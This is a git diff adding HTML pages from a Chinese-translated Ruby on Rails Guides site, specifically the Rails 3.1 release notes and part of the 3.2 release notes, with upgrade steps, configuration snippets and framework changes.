贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/3_1_release_notes.html b/v5.0/3_1_release_notes.html new file mode 100644 index 0000000..64d0f02 --- /dev/null +++ b/v5.0/3_1_release_notes.html @@ -0,0 +1,751 @@ + + + + + + + +Ruby on Rails 3.1 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 3.1 Release Notes

Highlights in Rails 3.1:

+
    +
  • Streaming
  • +
  • Reversible Migrations
  • +
  • Assets Pipeline
  • +
  • jQuery as the default JavaScript library
  • +
+

These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the list of +commits in the main Rails +repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 3.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:

1.1 Rails 3.1 requires at least Ruby 1.8.7

Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.

1.2 What to update in your apps

The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.

1.2.1 Gemfile

Make the following changes to your Gemfile.

+
+gem 'rails', '= 3.1.3'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+  gem 'sass-rails',   "~> 3.1.5"
+  gem 'coffee-rails', "~> 3.1.1"
+  gem 'uglifier',     ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+
+
+
+
1.2.2 config/application.rb
+
    +
  • +

    The asset pipeline requires the following additions:

    +
    +
    +config.assets.enabled = true
    +config.assets.version = '1.0'
    +
    +
    +
    +
  • +
  • +

    If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:

    +
    +
    +# Defaults to '/assets'
    +config.assets.prefix = '/asset-files'
    +
    +
    +
    +
  • +
+
1.2.3 config/environments/development.rb
+
    +
  • Remove the RJS setting config.action_view.debug_rjs = true.

  • +
  • +

    Add the following, if you enable the asset pipeline.

    +
    +
    +# Do not compress assets
    +config.assets.compress = false
    +
    +# Expands the lines which load the assets
    +config.assets.debug = true
    +
    +
    +
    +
  • +
+
1.2.4 config/environments/production.rb
+
    +
  • +

    Again, most of the changes below are for the asset pipeline. You can read more about these in the Asset Pipeline guide.

    +
    +
    +# Compress JavaScripts and CSS
    +config.assets.compress = true
    +
    +# Don't fallback to assets pipeline if a precompiled asset is missed
    +config.assets.compile = false
    +
    +# Generate digests for assets URLs
    +config.assets.digest = true
    +
    +# Defaults to Rails.root.join("public/assets")
    +# config.assets.manifest = YOUR_PATH
    +
    +# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
    +# config.assets.precompile `= %w( search.js )
    +
    +# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
    +# config.force_ssl = true
    +
    +
    +
    +
  • +
+
1.2.5 config/environments/test.rb
+
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+
+
+
+
1.2.6 config/initializers/wrap_parameters.rb
+
    +
  • +

    Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

    +
    +
    +# Be sure to restart your server when you modify this file.
    +# This file contains settings for ActionController::ParamsWrapper which
    +# is enabled by default.
    +
    +# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
    +ActiveSupport.on_load(:action_controller) do
    +  wrap_parameters :format => [:json]
    +end
    +
    +# Disable root element in JSON by default.
    +ActiveSupport.on_load(:active_record) do
    +  self.include_root_in_json = false
    +end
    +
    +
    +
    +
  • +
+
1.2.7 Remove :cache and :concat options in asset helpers references in views
+
    +
  • With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
  • +
+

2 Creating a Rails 3.1 application

+
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+
+
+
+

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

+
+$ rails new myapp --edge
+
+
+
+

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

+
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+
+
+
+

3 Rails Architectural Changes

3.1 Assets Pipeline

The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.

The assets pipeline is powered by Sprockets and is covered in the Asset Pipeline guide.

3.2 HTTP Streaming

HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it.

3.3 Default JS library is now jQuery

jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.

+
+$ rails new myapp -j prototype
+
+
+
+

3.4 Identity Map

Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.

Rails 3.1 comes with the identity map turned off by default.

4 Railties

+
    +
  • jQuery is the new default JavaScript library.

  • +
  • jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.

  • +
  • The application generator accepts an option -j which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.

  • +
  • Generating an application or a plugin runs bundle install unless --skip-gemfile or --skip-bundle is specified.

  • +
  • The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use CoffeeScript and Sass, if those libraries are available.

  • +
  • Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, --old-style-hash can be passed.

  • +
  • Scaffold controller generator creates format block for JSON instead of XML.

  • +
  • Active Record logging is directed to STDOUT and shown inline in the console.

  • +
  • Added config.force_ssl configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol.

  • +
  • Added rails plugin new command which generates a Rails plugin with gemspec, tests and a dummy application for testing.

  • +
  • Added Rack::Etag and Rack::ConditionalGet to the default middleware stack.

  • +
  • Added Rack::Cache to the default middleware stack.

  • +
  • Engines received a major update - You can mount them at any path, enable assets, run generators etc.

  • +
+

5 Action Pack

5.1 Action Controller

+
    +
  • A warning is given out if the CSRF token authenticity cannot be verified.

  • +
  • Specify force_ssl in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, :only or :except can be used.

  • +
  • Sensitive query string parameters specified in config.filter_parameters will now be filtered out from the request paths in the log.

  • +
  • URL parameters which return nil for to_param are now removed from the query string.

  • +
  • Added ActionController::ParamsWrapper to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in config/initializers/wrap_parameters.rb.

  • +
  • Added config.action_controller.include_all_helpers. By default helper :all is done in ActionController::Base, which includes all the helpers by default. Setting include_all_helpers to false will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).

  • +
  • url_for and named url helpers now accept :subdomain and :domain as options.

  • +
  • +

    Added Base.http_basic_authenticate_with to do simple http basic authentication with a single class method call.

    +
    +
    +class PostsController < ApplicationController
    +  USER_NAME, PASSWORD = "dhh", "secret"
    +
    +  before_filter :authenticate, :except => [ :index ]
    +
    +  def index
    +    render :text => "Everyone can see me!"
    +  end
    +
    +  def edit
    +    render :text => "I'm only accessible if you know the password"
    +  end
    +
    +  private
    +    def authenticate
    +      authenticate_or_request_with_http_basic do |user_name, password|
    +        user_name == USER_NAME && password == PASSWORD
    +      end
    +    end
    +end
    +
    +
    +
    +

    ..can now be written as

    +
    +
    +class PostsController < ApplicationController
    +  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
    +
    +  def index
    +    render :text => "Everyone can see me!"
    +  end
    +
    +  def edit
    +    render :text => "I'm only accessible if you know the password"
    +  end
    +end
    +
    +
    +
    +
  • +
  • +

    Added streaming support, you can enable it with:

    +
    +
    +class PostsController < ActionController::Base
    +  stream
    +end
    +
    +
    +
    +

    You can restrict it to some actions by using :only or :except. Please read the docs at ActionController::Streaming for more information.

    +
  • +
  • The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.

  • +
+

5.2 Action Dispatch

+
    +
  • config.action_dispatch.x_sendfile_header now defaults to nil and config/environments/production.rb doesn't set any particular value for it. This allows servers to set it through X-Sendfile-Type.

  • +
  • ActionDispatch::MiddlewareStack now uses composition over inheritance and is no longer an array.

  • +
  • Added ActionDispatch::Request.ignore_accept_header to ignore accept headers.

  • +
  • Added Rack::Cache to the default stack.

  • +
  • Moved etag responsibility from ActionDispatch::Response to the middleware stack.

  • +
  • Rely on Rack::Session stores API for more compatibility across the Ruby world. This is backwards incompatible since Rack::Session expects #get_session to accept four arguments and requires #destroy_session instead of simply #destroy.

  • +
  • Template lookup now searches further up in the inheritance chain.

  • +
+

5.3 Action View

+
    +
  • Added an :authenticity_token option to form_tag for custom handling or to omit the token by passing :authenticity_token => false.

  • +
  • Created ActionView::Renderer and specified an API for ActionView::Context.

  • +
  • In place SafeBuffer mutation is prohibited in Rails 3.1.

  • +
  • Added HTML5 button_tag helper.

  • +
  • file_field automatically adds :multipart => true to the enclosing form.

  • +
  • +

    Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a :data hash of options:

    +
    +
    +tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
    +# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
    +
    +
    +
    +
  • +
+

Keys are dasherized. Values are JSON-encoded, except for strings and symbols.

+
    +
  • csrf_meta_tag is renamed to csrf_meta_tags and aliases csrf_meta_tag for backwards compatibility.

  • +
  • The old template handler API is deprecated and the new API simply requires a template handler to respond to call.

  • +
  • rhtml and rxml are finally removed as template handlers.

  • +
  • config.action_view.cache_template_loading is brought back which allows to decide whether templates should be cached or not.

  • +
  • The submit form helper does not generate an id "object_name_id" anymore.

  • +
  • Allows FormHelper#form_for to specify the :method as a direct option instead of through the :html hash. form_for(@post, remote: true, method: :delete) instead of form_for(@post, remote: true, html: { method: :delete }).

  • +
  • Provided JavaScriptHelper#j() as an alias for JavaScriptHelper#escape_javascript(). This supersedes the Object#j() method that the JSON gem adds within templates using the JavaScriptHelper.

  • +
  • Allows AM/PM format in datetime selectors.

  • +
  • auto_link has been removed from Rails and extracted into the rails_autolink gem

  • +
+

6 Active Record

+
    +
  • +

    Added a class method pluralize_table_names to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through ActiveRecord::Base.pluralize_table_names.

    +
    +
    +class User < ActiveRecord::Base
    +  self.pluralize_table_names = false
    +end
    +
    +
    +
    +
  • +
  • +

    Added block setting of attributes to singular associations. The block will get called after the instance is initialized.

    +
    +
    +class User < ActiveRecord::Base
    +  has_one :account
    +end
    +
    +user.build_account{ |a| a.credit_limit = 100.0 }
    +
    +
    +
    +
  • +
  • Added ActiveRecord::Base.attribute_names to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.

  • +
  • CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.

  • +
  • +

    ActiveRecord#new, ActiveRecord#create and ActiveRecord#update_attributes all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:

    +
    +
    +class Post < ActiveRecord::Base
    +  attr_accessible :title
    +  attr_accessible :title, :published_at, :as => :admin
    +end
    +
    +Post.new(params[:post], :as => :admin)
    +
    +
    +
    +
  • +
  • default_scope can now take a block, lambda, or any other object which responds to call for lazy evaluation.

  • +
  • Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.

  • +
  • PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.

  • +
  • ConnectionManagement middleware is changed to clean up the connection pool after the rack body has been flushed.

  • +
  • Added an update_column method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use update_attributes or update_attribute unless you are sure you do not want to execute any callback, including the modification of the updated_at column. It should not be called on new records.

  • +
  • Associations with a :through option can now use any association as the through or source association, including other associations which have a :through option and has_and_belongs_to_many associations.

  • +
  • The configuration for the current database connection is now accessible via ActiveRecord::Base.connection_config.

  • +
  • +

    limits and offsets are removed from COUNT queries unless both are supplied.

    +
    +
    +People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
    +People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
    +People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
    +
    +
    +
    +
  • +
  • ActiveRecord::Associations::AssociationProxy has been split. There is now an Association class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called CollectionProxy, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.

  • +
  • Singular associations (has_one, belongs_to) no longer have a proxy and simply returns the associated record or nil. This means that you should not use undocumented methods such as bob.mother.create - use bob.create_mother instead.

  • +
  • Support the :dependent option on has_many :through associations. For historical and practical reasons, :delete_all is the default deletion strategy employed by association.delete(*records), despite the fact that the default strategy is :nullify for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.

  • +
  • The behavior of association.destroy for has_and_belongs_to_many and has_many :through is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.

  • +
  • Previously, has_and_belongs_to_many.destroy(*records) would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.

  • +
  • Previously, has_many_through.destroy(*records) would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.

  • +
  • Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do records.association.each(&:destroy).

  • +
  • +

    Add :bulk => true option to change_table to make all the schema changes defined in a block using a single ALTER statement.

    +
    +
    +change_table(:users, :bulk => true) do |t|
    +  t.string :company_name
    +  t.change :birthdate, :datetime
    +end
    +
    +
    +
    +
  • +
  • Removed support for accessing attributes on a has_and_belongs_to_many join table. has_many :through needs to be used.

  • +
  • Added a create_association! method for has_one and belongs_to associations.

  • +
  • +

    Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the change method.

    +
    +
    +class MyMigration < ActiveRecord::Migration
    +  def change
    +    create_table(:horses) do |t|
    +      t.column :content, :text
    +      t.column :remind_at, :datetime
    +    end
    +  end
    +end
    +
    +
    +
    +
  • +
  • Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define up and down in your migration. If you define something in change that cannot be reversed, an IrreversibleMigration exception will be raised when going down.

  • +
  • +

    Migrations now use instance methods rather than class methods:

    +
    +
    +class FooMigration < ActiveRecord::Migration
    +  def up # Not self.up
    +    ...
    +  end
    +end
    +
    +
    +
    +
  • +
  • Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's change method instead of the ordinary up and down methods.

  • +
  • +

    Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.

    +
    +
    +has_many :things, :conditions => 'foo = #{bar}'          # before
    +has_many :things, :conditions => proc { "foo = #{bar}" } # after
    +
    +
    +
    +

    Inside the proc, self is the object which is the owner of the association, unless you are eager loading the association, in which case self is the class which the association is within.

    +

    You can have any "normal" conditions inside the proc, so the following will work too:

    +
    +
    +has_many :things, :conditions => proc { ["foo = ?", bar] }
    +
    +
    +
    +
  • +
  • Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.

  • +
  • +

    Added ActiveRecord::Base#has_secure_password (via ActiveModel::SecurePassword) to encapsulate dead-simple password usage with BCrypt encryption and salting.

    +
    +
    +# Schema: User(name:string, password_digest:string, password_salt:string)
    +class User < ActiveRecord::Base
    +  has_secure_password
    +end
    +
    +
    +
    +
  • +
  • When a model is generated add_index is added by default for belongs_to or references columns.

  • +
  • Setting the id of a belongs_to object will update the reference to the object.

  • +
  • ActiveRecord::Base#dup and ActiveRecord::Base#clone semantics have changed to closer match normal Ruby dup and clone semantics.

  • +
  • Calling ActiveRecord::Base#clone will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.

  • +
  • Calling ActiveRecord::Base#dup will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return true for new_record?, have a nil id field, and is saveable.

  • +
  • The query cache now works with prepared statements. No changes in the applications are required.

  • +
+

7 Active Model

+
    +
  • attr_accessible accepts an option :as to specify a role.

  • +
  • InclusionValidator, ExclusionValidator, and FormatValidator now accepts an option which can be a proc, a lambda, or anything that respond to call. This option will be called with the current record as an argument and returns an object which respond to include? for InclusionValidator and ExclusionValidator, and returns a regular expression object for FormatValidator.

  • +
  • Added ActiveModel::SecurePassword to encapsulate dead-simple password usage with BCrypt encryption and salting.

  • +
  • ActiveModel::AttributeMethods allows attributes to be defined on demand.

  • +
  • Added support for selectively enabling and disabling observers.

  • +
  • Alternate I18n namespace lookup is no longer supported.

  • +
+

8 Active Resource

+
    +
  • +

    The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set self.format = :xml in the class. For example,

    +
    +
    +class User < ActiveResource::Base
    +  self.format = :xml
    +end
    +
    +
    +
    +
  • +
+

9 Active Support

+
    +
  • ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant.

  • +
  • Added a new reporting method Kernel#quietly which silences both STDOUT and STDERR.

  • +
  • Added String#inquiry as a convenience method for turning a String into a StringInquirer object.

  • +
  • Added Object#in? to test if an object is included in another object.

  • +
  • LocalCache strategy is now a real middleware class and no longer an anonymous class.

  • +
  • ActiveSupport::Dependencies::ClassCache class has been introduced for holding references to reloadable classes.

  • +
  • ActiveSupport::Dependencies::Reference has been refactored to take direct advantage of the new ClassCache.

  • +
  • Backports Range#cover? as an alias for Range#include? in Ruby 1.8.

  • +
  • Added weeks_ago and prev_week to Date/DateTime/Time.

  • +
  • Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants!.

  • +
+

Deprecations:

+
    +
  • +ActiveSupport::SecureRandom is deprecated in favor of SecureRandom from the Ruby standard library.
  • +
+

10 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.1 Release Notes were compiled by Vijay Dev

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/3_2_release_notes.html b/v5.0/3_2_release_notes.html new file mode 100644 index 0000000..551dca6 --- /dev/null +++ b/v5.0/3_2_release_notes.html @@ -0,0 +1,808 @@ + + + + + + + +Ruby on Rails 3.2 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 3.2 Release Notes

Highlights in Rails 3.2:

+
    +
  • Faster Development Mode
  • +
  • New Routing Engine
  • +
  • Automatic Query Explains
  • +
  • Tagged Logging
  • +
+

These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the list of +commits in the main Rails +repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 3.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:

1.1 Rails 3.2 requires at least Ruby 1.8.7

Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.

1.2 What to update in your apps

+
    +
  • +

    Update your Gemfile to depend on

    +
      +
    • rails = 3.2.0
    • +
    • sass-rails ~> 3.2.3
    • +
    • coffee-rails ~> 3.2.1
    • +
    • uglifier >= 1.0.3
    • +
    +
  • +
  • Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

  • +
  • +

    There are a couple of new configuration changes you'd want to add in config/environments/development.rb:

    +
    +
    +# Raise exception on mass assignment protection for Active Record models
    +config.active_record.mass_assignment_sanitizer = :strict
    +
    +# Log the query plan for queries taking more than this (works
    +# with SQLite, MySQL, and PostgreSQL)
    +config.active_record.auto_explain_threshold_in_seconds = 0.5
    +
    +
    +
    +

    The mass_assignment_sanitizer config also needs to be added in config/environments/test.rb:

    +
    +
    +# Raise exception on mass assignment protection for Active Record models
    +config.active_record.mass_assignment_sanitizer = :strict
    +
    +
    +
    +
  • +
+

1.3 What to update in your engines

Replace the code beneath the comment in script/rails with the following content:

+
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
+
+require 'rails/all'
+require 'rails/engine/commands'
+
+
+
+

2 Creating a Rails 3.2 application

+
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+
+
+
+

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

+
+$ rails new myapp --edge
+
+
+
+

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

+
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+
+
+
+

3 Major Features

3.1 Faster Development Mode & Routing

Rails 3.2 comes with a development mode that's noticeably faster. Inspired by Active Reload, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new Journey engine.

3.2 Automatic Query Explains

Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an explain method in ActiveRecord::Relation. For example, you can run something like puts Person.active.limit(5).explain and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations.

Queries that take more than half a second to run are automatically explained in the development mode. This threshold, of course, can be changed.

3.3 Tagged Logging

When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

4 Documentation

From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.

5 Railties

+
    +
  • Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting config.reload_classes_only_on_change to false.

  • +
  • New applications get a flag config.active_record.auto_explain_threshold_in_seconds in the environments configuration files. With a value of 0.5 in development.rb and commented out in production.rb. No mention in test.rb.

  • +
  • Added config.exceptions_app to set the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to ActionDispatch::PublicExceptions.new(Rails.public_path).

  • +
  • Added a DebugExceptions middleware which contains features extracted from ShowExceptions middleware.

  • +
  • Display mounted engines' routes in rake routes.

  • +
  • +

    Allow to change the loading order of railties with config.railties_order like:

    +
    +
    +config.railties_order = [Blog::Engine, :main_app, :all]
    +
    +
    +
    +
  • +
  • Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.

  • +
  • Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to ActiveSupport::TaggedLogging. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.

  • +
  • Default options to rails new can be set in ~/.railsrc. You can specify extra command-line arguments to be used every time rails new runs in the .railsrc configuration file in your home directory.

  • +
  • Add an alias d for destroy. This works for engines too.

  • +
  • Attributes on scaffold and model generators default to string. This allows the following: rails g scaffold Post title body:text author

  • +
  • +

    Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,

    +
    +
    +rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
    +
    +
    +
    +

    will create indexes for title and author with the latter being a unique index. Some types such as decimal accept custom options. In the example, price will be a decimal column with precision and scale set to 7 and 2 respectively.

    +
  • +
  • Turn gem has been removed from default Gemfile.

  • +
  • Remove old plugin generator rails generate plugin in favor of rails plugin new command.

  • +
  • Remove old config.paths.app.controller API in favor of config.paths["app/controller"].

  • +
+
5.1 Deprecations
+
    +
  • +Rails::Plugin is deprecated and will be removed in Rails 4.0. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.
  • +
+

6 Action Mailer

+
    +
  • Upgraded mail version to 2.4.0.

  • +
  • Removed the old Action Mailer API which was deprecated since Rails 3.0.

  • +
+

7 Action Pack

7.1 Action Controller

+
    +
  • Make ActiveSupport::Benchmarkable a default module for ActionController::Base, so the #benchmark method is once again available in the controller context like it used to be.

  • +
  • Added :gzip option to caches_page. The default option can be configured globally using page_cache_compression.

  • +
  • +

    Rails will now use your default layout (such as "layouts/application") when you specify a layout with :only and :except condition, and those conditions fail.

    +
    +
    +class CarsController
    +  layout 'single_car', :only => :show
    +end
    +
    +
    +
    +

    Rails will use layouts/single_car when a request comes in :show action, and use layouts/application (or layouts/cars, if exists) when a request comes in for any other actions.

    +
  • +
  • form_for is changed to use #{action}_#{as} as the css class and id if :as option is provided. Earlier versions used #{as}_#{action}.

  • +
  • ActionController::ParamsWrapper on Active Record models now only wrap attr_accessible attributes if they were set. If not, only the attributes returned by the class method attribute_names will be wrapped. This fixes the wrapping of nested attributes by adding them to attr_accessible.

  • +
  • Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.

  • +
  • ActionDispatch::ShowExceptions is refactored. The controller is responsible for choosing to show exceptions. It's possible to override show_detailed_exceptions? in controllers to specify which requests should provide debugging information on errors.

  • +
  • Responders now return 204 No Content for API requests without a response body (as in the new scaffold).

  • +
  • +

    ActionController::TestCase cookies is refactored. Assigning cookies for test cases should now use cookies[]

    +
    +
    +cookies[:email] = 'user@example.com'
    +get :index
    +assert_equal 'user@example.com', cookies[:email]
    +
    +
    +
    +

    To clear the cookies, use clear.

    +
    +
    +cookies.clear
    +get :index
    +assert_nil cookies[:email]
    +
    +
    +
    +

    We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.

    +
  • +
  • send_file now guesses the MIME type from the file extension if :type is not provided.

  • +
  • MIME type entries for PDF, ZIP and other formats were added.

  • +
  • Allow fresh_when/stale? to take a record instead of an options hash.

  • +
  • Changed log level of warning for missing CSRF token from :debug to :warn.

  • +
  • Assets should use the request protocol by default or default to relative if no request is available.

  • +
+
7.1.1 Deprecations
+
    +
  • +

    Deprecated implied layout lookup in controllers whose parent had an explicit layout set:

    +
    +
    +class ApplicationController
    +  layout "application"
    +end
    +
    +class PostsController < ApplicationController
    +end
    +
    +
    +
    +

    In the example above, PostsController will no longer automatically look up for a posts layout. If you need this functionality you could either remove layout "application" from ApplicationController or explicitly set it to nil in PostsController.

    +
  • +
  • Deprecated ActionController::UnknownAction in favor of AbstractController::ActionNotFound.

  • +
  • Deprecated ActionController::DoubleRenderError in favor of AbstractController::DoubleRenderError.

  • +
  • Deprecated method_missing in favor of action_missing for missing actions.

  • +
  • Deprecated ActionController#rescue_action, ActionController#initialize_template_class and ActionController#assign_shortcuts.

  • +
+

7.2 Action Dispatch

+
    +
  • Add config.action_dispatch.default_charset to configure default charset for ActionDispatch::Response.

  • +
  • Added ActionDispatch::RequestId middleware that'll make a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.

  • +
  • The ShowExceptions middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in env["action_dispatch.exception"] and with the PATH_INFO rewritten to the status code.

  • +
  • Allow rescue responses to be configured through a railtie as in config.action_dispatch.rescue_responses.

  • +
+
7.2.1 Deprecations
+
    +
  • Deprecated the ability to set a default charset at the controller level, use the new config.action_dispatch.default_charset instead.
